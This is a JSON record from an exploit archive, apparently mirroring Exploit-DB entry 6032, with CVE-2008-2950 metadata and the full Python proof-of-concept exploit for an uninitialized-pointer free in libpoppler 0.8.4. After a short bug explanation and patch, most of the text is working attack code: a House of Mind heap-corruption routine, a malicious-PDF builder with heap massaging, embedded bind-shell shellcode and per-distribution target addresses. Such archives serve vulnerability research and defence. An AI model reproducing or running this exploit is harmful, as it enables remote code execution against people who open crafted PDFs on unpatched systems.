{"exploit":{"id":"EDB-6032","name":"Poppler 0.8.4 - libpoppler Uninitialized Pointer Code Execution","description":"Poppler 0.8.4 - libpoppler Uninitialized Pointer Code Execution","cves":["CVE-2008-2950"],"author":"Felipe Andres Manzano","published":"2008-07-08","platform":"linux","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6032","path":"exploits/linux/local/6032.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6032.py","vulnerabilities":[{"id":"CVE-2008-2950","state":"PUBLISHED","title":null,"titleSource":null,"description":"The Page destructor in Page.cc in libpoppler in Poppler 0.8.4 and earlier deletes a pageWidgets object even if it is not initialized by a Page constructor, which allows remote attackers to execute arbitrary code via a crafted PDF document.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-2950","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-2950"},"updatedAt":"2024-08-07T09:21:34.456Z","retrievedAt":"2026-11-27T00:19:11.966Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6032.png?v=2","url":"https://exploitbin.com/exploits/EDB-6032","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6032/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6032/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##########################################################################\n####   Felipe Andres Manzano * fmanzano@fceia.unr.edu.ar              ####\n####   updates in http://felipe.andres.manzano.googlepages.com/home   ####\n##########################################################################\n'''\n\n\nSumary:\n=======\n\nThe libpoppler pdf rendering library, can free uninitialized pointers,\nleading to arbitrary code execution. This vulnerability results from\nmemory management bugs in the Page class constructor/destructor.\n\n\nTechnical Description - Exploit/Concept Code:\n=============================================\n\nTests were performed using libpoppler util pdftotext taken from\ngit://git.freedesktop.org/git/poppler/poppler.\nOther version where tried succesfully (the ones shiped with\ndebian/gentoo).\n\nIn the initialization of a Page object and under certain conditions a\nmember object skips initialization, but then is eventualy deleted. This\ncan be conducted to the situation in which an arbitrary pointer is\npassed to the libc free and so the it gets apropiate for the malloc\nmaleficarum to enter the scene.\n\nLook at the Page class constructor on Page.cc:231. First at the begining\nof the function the member object  pageWidgets isnt initialized then it\ntries to check if the type of the annotations proposed on the pdf file\nar correct; if not it bails out to the label err2. Note that is some\nincorcondance on the type of the anotation arise the member variable\npageWidgets is never initialized!\n\nPage::Page(XRef *xrefA, int numA, Dict *pageDict, PageAttrs *attrsA, Form *form) {\n  Object tmp;\n[...]\n // annotations\n  pageDict->lookupNF(\"Annots\", &annots);\n  if (!(annots.isRef() || annots.isArray() || annots.isNull())) {\n    error(-1, \"Page annotations object (page %d) is wrong type (%s)\",\n\t  num, annots.getTypeName());\n    annots.free();\n    goto err2;\n  }\n\n  // forms\n  pageWidgets = new FormPageWidgets(xrefA, this->getAnnots(&tmp),num,form);\n  tmp.free();\n[...]\n err2:\n  annots.initNull();\n err1:\n  contents.initNull();\n  ok = gFalse;\n}\n\nBut in the Page class destructor, Page.cc:309, pageWidgets is deleted\nwithout any consideration. The Page destructor is inmediatelly called\nafter the erroneous Page construction.\n\nPage::~Page() {\n  delete pageWidgets;\n  delete attrs;\n  annots.free();\n  contents.free();\n}\n\n\nIt is worth mentioning that the pdf rendering scenario is friendly with\nthe heap massage technics because you will find lots of ways to allocate\nor allocate/free memory in the already probided functionality. In the\nPOC I have used repetidely the 'name' of the fields of a pdf dictionary\nto allocate memory. Each name allocates up to 127bytes and apparently\nthere is no limit in the number of fields.\n\n\nThe following excerpt is a sample verification of the existence of\nthe problem :\n\nlocalhost expl-poppler # python poppler-exploit-rc8.py gentoo-pdftotext >test.pdf\nlocalhost expl-poppler # pdftotext test.pdf\nError: PDF file is damaged - attempting to reconstruct xref table...\nError: Annotation rectangle is wrong type\nError: Bad bounding box for annotation\nError: Bad bounding box for annotation\nError: Bad bounding box for annotation\nError: Bad bounding box for annotation\nError: Bad bounding box for annotation\nError: Page annotations object (page 3) is wrong type (integer)\nError: Page count in top-level pages object is incorrect\nError: Couldnt read page catalog\nTrace/breakpoint trap\n\n:)\n\n\nFurther research should be done to accomodate the heap for other applications like evince:\nlocalhost expl-poppler # evince test.pdf\n\n(evince:8912): GnomeUI-WARNING **: While connecting to session manager:\nAuthentication Rejected, reason : None of the authentication protocols specified are supported and host-based authentication failed.\n\n** (evince:8912): WARNING **: Service registration failed.\n\n** (evince:8912): WARNING **: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.\nError: PDF file is damaged - attempting to reconstruct xref table...\nError: Annotation rectangle is wrong type\nError: Bad bounding box for annotation\nError: Bad bounding box for annotation\nError: Bad bounding box for annotation\nError: Bad bounding box for annotation\nError: Bad bounding box for annotation\nError: Page annotations object (page 3) is wrong type (integer)\n*** glibc detected *** evince: munmap_chunk(): invalid pointer: 0x08100468 ***\n\nNote that 0x08100468 is still a provided pointer. But in this try some\nmalloc structure like _heap_info (see. house of mind) is not correctly\naligned any more. Maybe evince-thumbnailer which is (probably\nmonothreaded) is an easier target.\n\n\nPatch\n=====\n\ndiff --git a/poppler/Page.cc b/poppler/Page.cc\nindex b28a3ee..72a706b 100644\n--- a/poppler/Page.cc\n+++ b/poppler/Page.cc\n@@ -230,7 +230,7 @@ GBool PageAttrs::readBox(Dict *dict, char *key, PDFRectangle *box) {\n\n Page::Page(XRef *xrefA, int numA, Dict *pageDict, PageAttrs *attrsA, Form *form) {\n   Object tmp;\n-\n+  pageWidgets =\tNULL;  //Security fix\n   ok = gTrue;\n   xref = xrefA;\n   num = numA;\n\n\nPOC:\n===\n\nWritten in pyploit. It can be used 2 ways , one selecting a preconfigured\ntarget like *gentoo-pdftotext* or the other in which you could pass some\nmalloc/free execution trace moddifing parameters.\n\n'''\n\nimport struct\nimport struct\nimport math\nimport os\n\nimport sys\n\n## print \"%.400f\"%d wont work :( ... so a quick double printing class\nclass Doubles:\n    def __init__(self, precision=400):\n        self.precision=precision\n\n    def pdficateint(self,i1,i2):\n        s = struct.pack(\"@L\",i1) + struct.pack(\"@L\",i2)\n        return self.pdficatestr(s)\n\n    def pdficate(self,s):\n        rslt = \" \"\n        for  pos in range (0,len(s)/8):\n            rslt+=self.pdficatestr(s[(pos*8):(pos*8)+8])+\" \"\n        return rslt;\n\n    def pdficatestr(self, s):\n        d = struct.unpack(\"d\",s)[0]\n        rslt=\" \"\n        if(d<0.0):\n            rslt+=\"-\"\n            d=-d\n        rslt+=\"%d.\"%int(math.floor(d))\n        myd=math.floor(d)\n        scale=0.1\n\tnines=0\n        for p in range(1,self.precision):\n            for i in range(1,10):\n\t        if (myd+scale*i) > d:\n\t            i-=1\n\t            break\n            if i==9:\n\t\tif nines>6:\n\t\t    return rslt\n\t\telse:\n\t\t    nines+=1\n\t    else:\n\t\tnines=0\n            rslt+=(\"%02d\"%i)[1]\n            myd+=scale* i\n            scale=scale*0.1\n\treturn rslt\n\n##From Malloc maleficarum\n##http://packetstormsecurity.org/papers/attack/MallocMaleficarum.txt\nclass HouseOfMind:\n\n    HEAP_MAX_SIZE=(1024*1024)\n    JMP='\\xeb'\n    NOP='\\x90'\n    PAD='\\x00'\n    PREV_INUSE=0x1\n    IS_MMAPPED=0x2\n    NON_MAIN_ARENA=0x4\n    def __init__(self, base, where, payload, entrypoint):\n        self.base=base\n        self.where=where-0xc\n        self.heap_info = (base+self.HEAP_MAX_SIZE-1)& ~(self.HEAP_MAX_SIZE-1)\n        self.payload=payload\n        self.entrypoint=entrypoint\n        self.chunkaddress=0\n        if (self.entrypoint > 0xff - 8):\n        \tthrow\n\n## lendian, 32bit only\n## See The Malloc Maleficarum / House of Mind\n    def mind(self):\n        rslt = \"\"\n        #first we add padding to reach the next Heap border\n        rslt+=self.PAD*(self.heap_info-self.base)\n\n        #now we add a _heap_info pinting to a malloc_state of our own\n        #and dictating a generous size for this *heap*\n        ##arena.c:59 //struct _heap_info\n        rslt += struct.pack(\"<L\", self.heap_info + 16) # Arena for this heap.\n        rslt += struct.pack(\"<L\", 0x0000000) # Previous heap. (BUG: Don't know what M does with this)\n        rslt += struct.pack(\"<L\", 0x7000000) # Current size in bytes.\n        rslt += struct.pack(\"<L\", 0x7000000) # Size in bytes that has been mprotected PROT_READ|PROT_WRITE\n        #here arena.c suggest some padding. We just don't do it.\n\n\n        #now we add the malloc_state of our own\n        ##malloc.c:2317 //struct malloc_state\n        rslt += struct.pack(\"<L\", 0x00000000)\t# mutex for serializing access * 0 -> unlocked.\n        rslt += struct.pack(\"<L\", 0x000ffff)\t# Flags * We need NONCONTIGUOUS_BIT to be on for passing\n        \t\t\t\t\t# condition on malloc.c:@@@@@\n\n        #Note: We assume not Thread's stats#\n\n        rslt += struct.pack(\"<L\", 0x00000000)*10 \t#Fastbins * We don use them.\n        rslt += struct.pack(\"<L\", 0x00000000)\t\t#Base of the topmost chunk--not otherwise kept in a bin\n        \t\t\t\t\t\t#We need it to be different to our chunk pointer for\n        \t\t\t\t\t\t#passing condition on malloc.c:@@@@, 0 is safe enough\n        rslt += struct.pack(\"<L\", 0x00000000)\t#The remainder from the most recent split of a small request\n\n        #Here it come the bins\n        ##The first one is the Unsorted bin!\n        ##Free will write the *chunk* to the containing address +0xc; so it\n        ##shout point to the GOT pointer to 'overload' -0xc\n        rslt += struct.pack(\"<L\", self.where);\n\n        rslt += struct.pack(\"<L\", 0x0000000)* 253\t#All the other unused bins go to 0 * ~\n        rslt += struct.pack(\"<L\", 0x00000000)*4\t\t#Bitmap of bins\n\n        rslt += struct.pack(\"<L\", 0x00000000)\t#Linked list next malloc_state\n\n        ##Memory allocated from the system in this arena.\n        rslt += struct.pack(\"<L\", 0x70000000)\t#system_mem * Need to be big enough for passing the\n        \t\t\t\t\t#condition on malloc:@@@@\n        rslt += struct.pack(\"<L\", 0x00000000)\t#max_system_mem ??\n\n        #needed for chunk aligment\n        rslt += self.PAD*4\n\n#CHUNKS\n#             An allocated chunk looks like this:\n#\n#    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n#            |             Size of previous chunk, if allocated            | |\n#            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n#            |             Size of chunk, in bytes                       |M|P|\n#      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n#            |             User data starts here...                          .\n#            .                                                               .\n#            .             (malloc_usable_size() bytes)                      .\n#            .                                                               |\n#nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n#            |             Size of chunk                                     |\n#            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n\n        #chunk 0 There isn't a single reason for this to exist * wabaaaaaaaaaa!\n#        rslt += struct.pack(\"<L\", 16)\t#Size of previous chunk * UNUSED\n#        rslt += struct.pack(\"<L\", 64) \t#Size of chunk, in bytes. No flags\n#        rslt += self.PAD*(64-8)\n\n        #chunk 1 THE CHAMP\n        rslt += \"\\x40\"+self.JMP+struct.pack(\"B\",5+self.entrypoint)+self.PAD    #Size of previous chunk *DOESN'T MATTER!\n        rslt += struct.pack(\"<L\",8+len(self.payload)|self.PREV_INUSE|self.NON_MAIN_ARENA) # Size of this chunk\n        \t\t\t\t\t\t\t\t      #TODO: Explain flags, link code\n\n        ##Save the chunk1 address\n        self.chunkaddress= self.base + len(rslt)\n        rslt += self.payload\t#payload (payload[entrypoint] should contain shellcode)!\n\n        #chunk 2 THE LAST?\n        rslt += struct.pack(\"<L\",8+len(self.payload))\t#Size of previous chunk\n        \t\t\t\t\t\t#TODO: link where it is checked\n\n        rslt += struct.pack(\"<L\",64|self.PREV_INUSE|self.NON_MAIN_ARENA)  #Size of this chunk\n        \t\t\t\t\t\t\t\t  #Neds to be greater than 2 * SIZE_SZ,\n        \t\t\t\t\t\t\t\t  #TODO: Explain flags, link code\n\n        rslt += self.PAD*(64-8)\n\n        #chunk 3 THE LAST!\n        rslt += struct.pack(\"<L\",64)\t\t#Size of previous chunk\n        rslt += struct.pack(\"<L\",self.PREV_INUSE)    #Size of this chunk * Here we need just the PREV_INUSE bit set\n        return rslt\n        #no need no payload\n\n#For constructing a minimal pdf file\nclass PDFObject:\n    def __init__(self,toks):\n        self.toks=toks\n        self.n=0\n        self.v=0\n\n    def __str__(self):\n        s=\"%d %d obj\\n\"%(self.n,self.v)\n        for t in self.toks:\n            s+=t.__str__()\n        s+=\"\\nendobj\\n\"\n        return s\n\n\nclass PDFDict():\n    def __init__(self):\n        self.dict = []\n\n    def add(self,name,obj):\n        self.dict.append((name,obj))\n\n    def __str__(self):\n        s=\"<<\"\n        for name,obj in self.dict:\n            s+=\"/%s %s\\n\"%(name,obj)\n        s+=\">>\"\n        return s\n\nclass PDFName():\n    def __init__(self,s):\n        self.s=s\n    def __str__(self):\n        return \"/%s\"%self.s\n\nclass PDFString():\n    def __init__(self,s):\n        self.s=s\n    def __str__(self):\n        return \"(%s)\"%self.s\n\nclass PDFRef():\n    def __init__(self,obj):\n        self.obj=obj\n    def __str__(self):\n        return \"%d %d R\"%(self.obj.n,self.obj.v)\n\n\nclass PDFDoc():\n    def __init__(self):\n        self.objs=[]\n\n    def add(self,obj):\n        obj.v=0\n        obj.n=1+len(self.objs)\n        self.objs.append(obj)\n\n    def _header(self):\n        return \"%PDF-1.5\\n\"\n\n    def __str__(self):\n        doc1 = \"%PDF-1.5\\n\"\n        xref = {}\n        for obj in self.objs:\n            xref[obj.n] = len(doc1)\n            doc1=doc1+obj.__str__()\n        posxref=len(doc1)\n        doc1+=\"xref\\n\"\n        doc1+=\"0 %d\\n\"%len(self.objs)\n        doc1+=\"0000000000 65535 f\\n\"\n        for xr in xref.keys():\n            doc1+= \"%010d %05d n\\n\"%(xref[xr],0)\n        doc1+=\"trailer\\n\"\n        trailer =  PDFDict()\n        trailer.add(\"Size\",len(self.objs))\n        trailer.add(\"Root\",\"2 0 R\")\n        doc1+=trailer.__str__()\n        doc1+=\"\\nstartxref\\n%d\\n\"%posxref\n        doc1+=\"%%EOF\\n\\n\"\n\n        return doc1\n\n#The ... \"POC\"\nclass PopplerExpl:\n\n    def __init__(self,shellcode):\n\tself.shellcode=shellcode\n        self.d = Doubles()\n\n#this wraps the shellcode in an encoding supported by 'doubles'\n    def wrap(self,scode,where):\n\twrapscode = '\\xb8' + struct.pack(\"<L\",where)+\"\\x90\"*3  \t#movl where, %eax;nop;nop;nop\n\tfor c in scode:\n\t    wrapscode += \"\\xc6\\x00%c\\x40\"%c \t\t\t#movb $c, (%eax); inc %eax\n \tif (len(scode)%2!=0):\n\t    wrapscode += \"\\xc6\\x00\\xcc\\x40\"\t\t \t#movb $0xcc, (%eax); inc %eax\n\twrapscode += \"\\xb8\" + struct.pack(\"<L\",where)+\"\\x90\"*3\t#movl where, %eax;nop;nop;nop\n\twrapscode += \"\\x50\\xc3\"\t\t\t\t\t#push %eax;ret\n\treturn wrapscode + '\\x00'*(1000-len(wrapscode))\t\t#padding to a supported size\n\n    def make(self,base,got,massage=None):\n        #here we generate the house of mind thingy\n\t#The House Of Mind  instance.\n\t#Te first word es passed tu a gfree so we put 0 so we ignore that free.\n        hm = HouseOfMind(base, got, \"\\x00\"*16+ self.wrap(self.shellcode,base), 16)\n        mind = hm.mind()\n\n        doc = PDFDoc()\n        doc.add(PDFObject([\"<</Length 3>>\\nstream...\\nendstream\\n\"]))\n        catalog = PDFDict()\n        catalog.add(\"Type\", PDFName(\"Catalog\"))\n        catalog.add(\"Outlines\", \"3 0 R\")\n        catalog.add(\"Pages\", \"4 0 R\")\n        catalog.add(\"AcroForm\", \"<</Fields [ 7 0 R ]>>\")\n\n        #for i in range(0,1000):\n        #    catalog.add( \"C\"*82 + \"%05d\"%i,  0)\n\n        outlines = PDFDict()\n        outlines.add(\"Type\", PDFName(\"Outlines\"))\n        outlines.add(\"Count\",0)\n\n        pages = PDFDict()\n        pages.add(\"Type\", PDFName(\"Pages\"))\n        pages.add(\"Kids\",\"[ 8 0 R  6 0 R 5 0 R ]\")\n        pages.add(\"Count\",\"3\")\n\n        doc.add(PDFObject([catalog]))\n        doc.add(PDFObject([outlines]))\n        doc.add(PDFObject([pages]))\n\n        page1 = PDFDict()\n        page1.add(\"Type\", PDFName(\"Page\"))\n        page1.add(\"Parent\", \"4 0 R\")\n        page1.add(\"MediaBox\",\"[ 0 0 612 792 ]\")\n        page1.add(\"Contents\", \"1 0 R\")\n        page1.add(\"Resources\", \"<< /ProcSet 6 0 R >>\")\n        page1.add(\"Annots\", \"0\")\n\n\t#malloc-fill-free lots of chunks of the size then used by Page class(88)\n        for pagesize in range(88,126):\n\t    payload = (\"\".join([\"#%02x\"%ord(struct.pack(\"@L\",hm.chunkaddress)[i]) for i in range (0,4)]))*19\n\t    payload += \"B\"*(pagesize-(len(payload)/3))\n\t    for i in range(0,10):\n        \tpage1.add(payload, 0)\n\n        doc.add(PDFObject([page1]))\n\n        page1 = PDFDict()\n        page1.add(\"Type\", PDFName(\"Page\"))\n        page1.add(\"Parent\", \"4 0 R\")\n        page1.add(\"MediaBox\",\"[ 0 0 612 792 ]\")\n        page1.add(\"Contents\", \"1 0 R\")\n        page1.add(\"Resources\", \"<< /ProcSet 6 0 R >>\")\n        page1.add(\"Annots\", \"[7 0 R 7 0 R 7 0 R 7 0 R]\")\n\n        #massage session 1\n        size=127\n        for i in range(0,massage[0]):\n            page1.add( \"A\"*(size-5)+(\"%05d\"%(i)),  \"B\"*size)\n\n        doc.add(PDFObject([page1]))\n        annots = PDFDict()\n        annots.add(\"Subtype\",\"/Text\")\n\n        annots.add(\"BS\", \"<</D [ \"+\n\t\"0 \"*massage[1] +\n        self.d.pdficate(mind)+\n        #more massage>?\n        \"0.0 \"*massage[2] + \" ]>>\")\n\n        annots.add(\"FT\", \"/Tx\")\n        doc.add(PDFObject([annots]))\n\n        page1 = PDFDict()\n        page1.add(\"Type\", PDFName(\"Page\"))\n        page1.add(\"Parent\", \"4 0 R\")\n        page1.add(\"MediaBox\",\"[ 0 0 612 792 ]\")\n        page1.add(\"Contents\", \"1 0 R\")\n        page1.add(\"Resources\", \"<< /ProcSet 6 0 R >>\")\n        page1.add(\"Annots\", \"[7 0 R]\")\n        doc.add(PDFObject([page1]))\n        doc.add(PDFObject([\"<<>>\"]))\n        doc.add(PDFObject([\"[ /PDF ]\"]))\n        return doc.__str__()\n\n\n##Main\n## Not every shellcode will work by now\n## Only the ones that taken by 8bytes form an ieee754 double presicion float\n## with an exponent not too positive ... :)\n\n## linux_ia32_bind -  LPORT=4444 Size=84 Encoder=None http://metasploit.com\nscode = \"\\x31\\xdb\\x53\\x43\\x53\\x6a\\x02\\x6a\\x66\\x58\\x99\\x89\\xe1\\xcd\\x80\\x96\"\nscode += \"\\x43\\x52\\x66\\x68\\x11\\x5c\\x66\\x53\\x89\\xe1\\x6a\\x66\\x58\\x50\\x51\\x56\"\nscode += \"\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xd1\\xe3\\xcd\\x80\\x52\\x52\\x56\\x43\\x89\\xe1\"\nscode += \"\\xb0\\x66\\xcd\\x80\\x93\\x6a\\x02\\x59\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\xb0\"\nscode += \"\\x0b\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x53\"\nscode += \"\\x89\\xe1\\xcd\\x80\"\n\n#expl = PopplerExpl( ('\\xcc'+'\\x90')*((160-16)/2))\nexpl = PopplerExpl(scode)\n\ntargets = {\n    \"gentoo-pdftotext\":(0x08100000, 0x804c014, 1863, 20, 400),\n    \"debian4-pdftotext\":(0x08100000, 0x804bb18, 1879, 33, 400),\n    \"gentoo-evince-thumbnailer\": (0x8100000, 0x080712c4, 907, 34, 200),\n\n}\n\nif len( sys.argv )==1:\n    print \"Comments -> fmanzano@fceia.unr.edu.ar\"\n    print \"Usage 1:\"\n    print \"\t%s \"%sys.argv[0], targets.keys()\n    print \"Usage 2:\"\n    print \"\t%s   massage1 massage2 massage3  base got\"%sys.argv[0]\n    print \"\tThe idea here is to align the _heap_info struct that commences with 0x08?00010 \"\n    print \"\tto the address 0x8?0000. For this pourpose move massage1/2/3. \"\n    print \"\tTHIS STUPIDLY SIMPLE METHOD WOULD WORK FOR VERY FEW APPS !\"\n    print \"\tbase is the 1024*1024 bytes aligned address to which we are trying to align everything\"\n    print \"\tgot is the addres of the got where the thing is going to write the shellcode address\"\n    print \"\tBTW by now the shellcode is nop;int 3;nop...grooovy!.. NOT\"\nelif len( sys.argv )>2:\n    print expl.make(int(sys.argv[4][2:],16), int(sys.argv[5][2:],16), (int(sys.argv[1]),int(sys.argv[2]),int(sys.argv[3])))\nelse:\n    #base: the expected heap limit (08100000,08200000,....08f00000... )\n    #got: address of the got entry to change\n    #chinesse massage\n    base,got,massage1,massage2,massage3 = targets[sys.argv[1]]\n    print expl.make(base,got,(massage1,massage2,massage3))\n\n# milw0rm.com [2008-07-08]","sha256":"5529104d28964dad7745dc5e790932191d064f1146021a1cf801a30194c6dd75","bytes":19413,"fetchedAt":"2026-11-27T00:08:00.355Z","encoding":"utf-8 (display only; download retains original bytes)"}